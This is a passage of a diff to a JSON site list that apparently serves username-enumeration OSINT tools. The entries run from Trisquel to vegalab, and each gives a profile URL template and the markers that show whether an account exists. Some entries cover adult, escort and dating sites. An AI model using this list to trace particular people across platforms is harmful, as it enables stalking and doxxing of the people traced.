"source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trisquel", + "url": "https://trisquel.info/it/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trovo", + "url": "https://trovo.live/s/{}/", + "category": "video", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Uh Ohhh..." + }, + { + "name": "Trp_red", + "url": "https://www.trp.red/follow/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TruckersMP", + "url": "https://truckersmp.com/user/search?search={}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "

    Could not find any member using these credentials

    ", + "match_code": 200, + "match_string": "class=\"team-v2\"" + }, + { + "name": "TruckersMP.com", + "url": "https://forum.truckersmp.com/index.php?/search/&q={}&type=core_members", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "There were no results for your search." + }, + { + "name": "TruckersMP.ru", + "url": "https://truckersmp.ru/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TrueAchievements", + "url": "https://www.trueachievements.com/gamer/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Truelancer", + "url": "https://www.truelancer.com/freelancer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page could not be found.", + "match_string": "https://schema.org/BreadcrumbList" + }, + { + "name": "Truesteamachievements", + "url": "https://truesteamachievements.com/gamer/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Truth Social", + "url": "https://truthsocial.com/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"Record not found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Truthbook", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found." + }, + { + "name": "Truthpodium", + "url": "https://truthpodium.org/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Trworkshop", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "TryHackMe", + "url": "https://tryhackme.com/p/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Found. Redirecting to /404", + "match_string": "heatmap-user-activity" + }, + { + "name": "TryHackMe", + "url": "https://tryhackme.com/api/user/exist/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"success\":false", + "match_code": 200, + "match_string": "\"success\":true" + }, + { + "name": "Tryst", + "url": "https://tryst.link/escort/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page not found", + "match_code": 200, + "match_string": "Caters to</div>" + }, + { + "name": "TS-Dating (International)", + "url": "https://www.ts-dating.com/model/{}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 - PAGE NOT FOUND", + "match_string": ">Location:<span" + }, + { + "name": "tsibulskiy.my1.ru", + "url": "http://tsibulskiy.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ttrails", + "url": "https://ttrails.ru/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Ttsport", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "tttang", + "url": "https://tttang.com/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Tube Galore (channels)", + "url": "https://www.tubegalore.com/source/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "results found" + }, + { + "name": "Tube Galore (pornstars)", + "url": "https://www.tubegalore.com/pornstar/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "results found" + }, + { + "name": "Tube8 (channels)", + "url": "https://www.tube8.com/channel/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Porn Channels", + "match_string": "Channel for Free Porn | Tube8.com" + }, + { + "name": "Tube8 (pornstars)", + "url": "https://www.tube8.com/pornstar/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 Page Not Found", + "match_string": "Porn Videos and XXX Movies | Tube8.com" + }, + { + "name": "Tula", + "url": "http://tula.net.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tulup", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0430" + }, + { + "name": "Tumblr", + "url": "https://www.tumblr.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not found.", + "match_string": "profile" + }, + { + "name": "tumblr", + "url": "https://{}.tumblr.com/", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tumblr", + "url": "https://{}.tumblr.com", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "There's nothing here", + "match_code": 200, + "match_string": "avatar" + }, + { + "name": "Tumbral", + "url": "https://tumbral.com/blog/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-name" + }, + { + "name": "Tuna", + "url": "https://tuna.voicemod.net/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tunefind", + "url": "https://www.tunefind.com/user/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Achievements" + }, + { + "name": "tunefind", + "url": "https://www.tunefind.com/api-request/account/profile?userName={}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":\"not_found\"", + "match_code": 200, + "match_string": "\"user-stats-engagement\":" + }, + { + "name": "Turbina", + "url": "https://turbinatravels.com/authors/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Turkey-info", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "Turpravda", + "url": "https://www.turpravda.ua/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Tutor", + "url": "https://tutor.ru/tutor/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u043c\u0438 \u0430\u0434\u0440\u0435\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d" + }, + { + "name": "Tutsplus", + "url": "https://tutsplus.com/authors/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv", + "url": "https://tv.gab.com/channel/{}", + "category": "social", + "source": "nexfil", + "nsfw": false + }, + { + "name": "tv-android.at.ua", + "url": "http://tv-android.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv-games", + "url": "http://tv-games.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv-games", + "url": "http://tv-games.ru/forum/member.php?username={}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "tv.ucoz.club", + "url": "http://tv.ucoz.club/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tvigra.clan.su", + "url": "http://tvigra.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TVTropes", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tw_weibo", + "url": "https://tw.weibo.com/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "User " + }, + { + "name": "Twitter", + "url": "https://www.twitter.com/{}", + "category": "social", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Twitter Shadowban", + "url": "https://shadowban.eu/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "exists\": false", + "match_string": "exists\": true" + }, + { + "name": "Twittercommunity", + "url": "https://twittercommunity.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "twle", + "url": "https://www.twle.cn/member/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Twpro.jp", + "url": "https://twpro.jp/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002", + "match_string": "\u304a\u3068\u306a\u308a\u3055\u3093" + }, + { + "name": "Twunroll", + "url": "https://twunroll.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "article_account" + }, + { + "name": "Typeracer", + "url": "https://data.typeracer.com/pit/profile?user={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Profile Not Found" + }, + { + "name": "uahack.at.ua", + "url": "http://uahack.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uaksu", + "url": "https://uaksu.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d" + }, + { + "name": "Uanime", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0435\u043c \u0430\u0431\u043e \u043f\u043e\u0432\u0456\u0434\u043e\u043c\u043b\u0435\u043d\u044c" + }, + { + "name": "Uaodessa", + "url": "https://uaodessa.com/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "uaodessa.com", + "url": "http://uaodessa.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uazpatriot", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Ubisoft", + "url": "https://forums-ru.ubisoft.com/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Ubisoft", + "url": "https://discussions.ubisoft.com/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "You seem to have stumbled upon a page that does not exist.", + "match_code": 200, + "match_string": "| Ubisoft Discussion Forums" + }, + { + "name": "UBIUSB (underwear sales)", + "url": "https://ubisub.com/profile/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">ohh! page not found", + "match_string": "Follow" + }, + { + "name": "ubuntu-mate.community", + "url": "https://ubuntu-mate.community/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uchportal", + "url": "https://www.uchportal.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ucoz", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ucozon.ru", + "url": "http://ucozon.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ucozzz.ru", + "url": "http://ucozzz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Udemy", + "url": "https://www.udemy.com/user/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Udemy", + "url": "https://udemy.com/user/{}/", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "about-me" + }, + { + "name": "UEF CONNECT", + "url": "https://uefconnect.uef.fi/en/{}/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - UEFConnect", + "match_code": 200, + "match_string": "profile-page-header__info" + }, + { + "name": "uefconnect", + "url": "https://uefconnect.uef.fi/en/person/{}/", + "category": "professional", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - UEFConnect", + "match_code": 200, + "match_string": "- UEFConnect" + }, + { + "name": "Uesp", + "url": "https://uesp.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "uface.at.ua", + "url": "http://uface.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ufive.ru", + "url": "http://ufive.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ufocomm", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0430\u0439\u0434\u0435\u043d\u043e: 0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "uforum.uz", + "url": "https://uforum.uz/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uft", + "url": "https://uft.me/persons/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ugri.ucoz.ru", + "url": "http://ugri.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uid", + "url": "https://uid.me/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "profile_name" + }, + { + "name": "uID.me (by uguid)", + "url": "http://uid.me/uguid/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "uID.me (by username)", + "url": "http://uid.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uiuxdev.social (Mastodon Instance)", + "url": "https://uiuxdev.social/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Ukgameshows", + "url": "https://ukgameshows.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "uko.at.ua", + "url": "http://uko.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ukraine-footbal", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430 \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "ukrelektrik.com", + "url": "http://ukrelektrik.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ultimate Guitar", + "url": "https://www.ultimate-guitar.com/u/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 410, + "error_string": "Oops! We couldn't find that page.", + "match_code": 200, + "match_string": " | Ultimate-Guitar.Com" + }, + { + "name": "Ultimate-Guitar", + "url": "https://ultimate-guitar.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ultras Diary", + "url": "http://ultrasdiary.pl/u/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Ile masz wyjazd\u00f3w?", + "match_code": 200, + "match_string": "Mecze wyjazdowe:" + }, + { + "name": "ultrasdiary.pl", + "url": "https://ultrasdiary.pl/u/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "UltrasDiary – Pami\u0119tnik Kibica", + "match_string": "Mecze wyjazdowe:" + }, + { + "name": "ulub.pl", + "url": "http://ulub.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Strona nie istnieje.", + "match_string": "Muzyka (" + }, + { + "name": "umorbos.at.ua", + "url": "http://umorbos.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "unc.ua", + "url": "https://unc.ua/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Error Site", + "match_string": "page-user_profile" + }, + { + "name": "Uncyclomedia", + "url": "https://uncyclomedia.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Universemc", + "url": "https://universemc.us/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "universemc.us", + "url": "https://universemc.us/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "universocraft", + "url": "https://stats.universocraft.com/stats.php?player={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No se ha encontrado ning\u00fan usuario con ese nombre", + "match_string": "\u00daltima conexi\u00f3n" + }, + { + "name": "Unixforum", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Unlisted Videos", + "url": "https://unlistedvideos.com/search.php?user={}", + "category": "forum", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "content=\"\"/>", + "match_code": 200, + "match_string": "Date submitted" + }, + { + "name": "unreal.at.ua", + "url": "http://unreal.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Unsorted", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Unsplash", + "url": "https://unsplash.com/@{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Unsplash", + "url": "https://unsplash.com/@{}/likes", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "UnstoppableDomains", + "url": "https://ud.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "reservedForUserId" + }, + { + "name": "Untappd", + "url": "https://untappd.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Untappd", + "url": "https://untappd.com/user/{}/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class=\"search_404\"", + "match_code": 200, + "match_string": "class=\"cont user_profile\"" + }, + { + "name": "Uoguide", + "url": "https://uoguide.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "upbyte.net", + "url": "http://upbyte.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uphillathlete", + "url": "https://uphillathlete.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "upwork.com", + "url": "https://upwork.com/fl/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ural-sloboda.ucoz.ru", + "url": "http://ural-sloboda.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uralfishing", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "nowrap=\"nowrap\">" + }, + { + "name": "Uwr1", + "url": "http://uwr1.de/forum/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "uwu.ai", + "url": "https://{}.uwu.ai/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, the requested page could not be found.", + "match_code": 200, + "match_string": "property=\"twitter:card\"" + }, + { + "name": "Uwumarket", + "url": "https://uwumarket.us/collections/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "collection-hero__text-wrapper" + }, + { + "name": "Uzhforum", + "url": "http://www.uzhforum.com/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447 \u043d\u0435 \u0437\u0430\u0440\u0435\u0454\u0441\u0442\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0456 \u043d\u0435 \u043c\u0430\u0454 \u043f\u0440\u043e\u0444\u0456\u043b\u044e, \u044f\u043a\u0438\u0439 \u043c\u043e\u0436\u043d\u0430 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u043d\u0443\u0442\u0438." + }, + { + "name": "v-twinforum.com", + "url": "https://v-twinforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "v2ex.com", + "url": "https://v2ex.com/member/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "v3de.ru", + "url": "http://v3de.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vadimbondar.ucoz.ru", + "url": "http://vadimbondar.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vadya.ucoz.ru", + "url": "http://vadya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Valday", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f " + }, + { + "name": "valinor.com.br", + "url": "http://www.valinor.com.br/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "valleykrosava.ucoz.ru", + "url": "http://valleykrosava.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Valorant Forums", + "url": "https://valorantforums.com/u/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The page you requested could not be found." + }, + { + "name": "Vamber", + "url": "https://vamber.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vampirerave", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Vapenews", + "url": "https://vapenews.ru/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 404", + "match_string": "\u041b\u0438\u0447\u043d\u043e\u0435" + }, + { + "name": "Vas3k", + "url": "https://vas3k.club/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vauxhallownersnetwork.co.uk", + "url": "http://www.vauxhallownersnetwork.co.uk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VC", + "url": "https://vc.ru/discovery?q={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null" + }, + { + "name": "VC.ru", + "url": "https://vc.ru/search/v2/subsite/relevant?query={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + }, + { + "name": "vch3469.3dn.ru", + "url": "http://vch3469.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vdv-belarus.ucoz.com", + "url": "http://vdv-belarus.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vega.ucoz.net", + "url": "http://vega.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vegalab", + "url": "http://forum.vegalab.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + 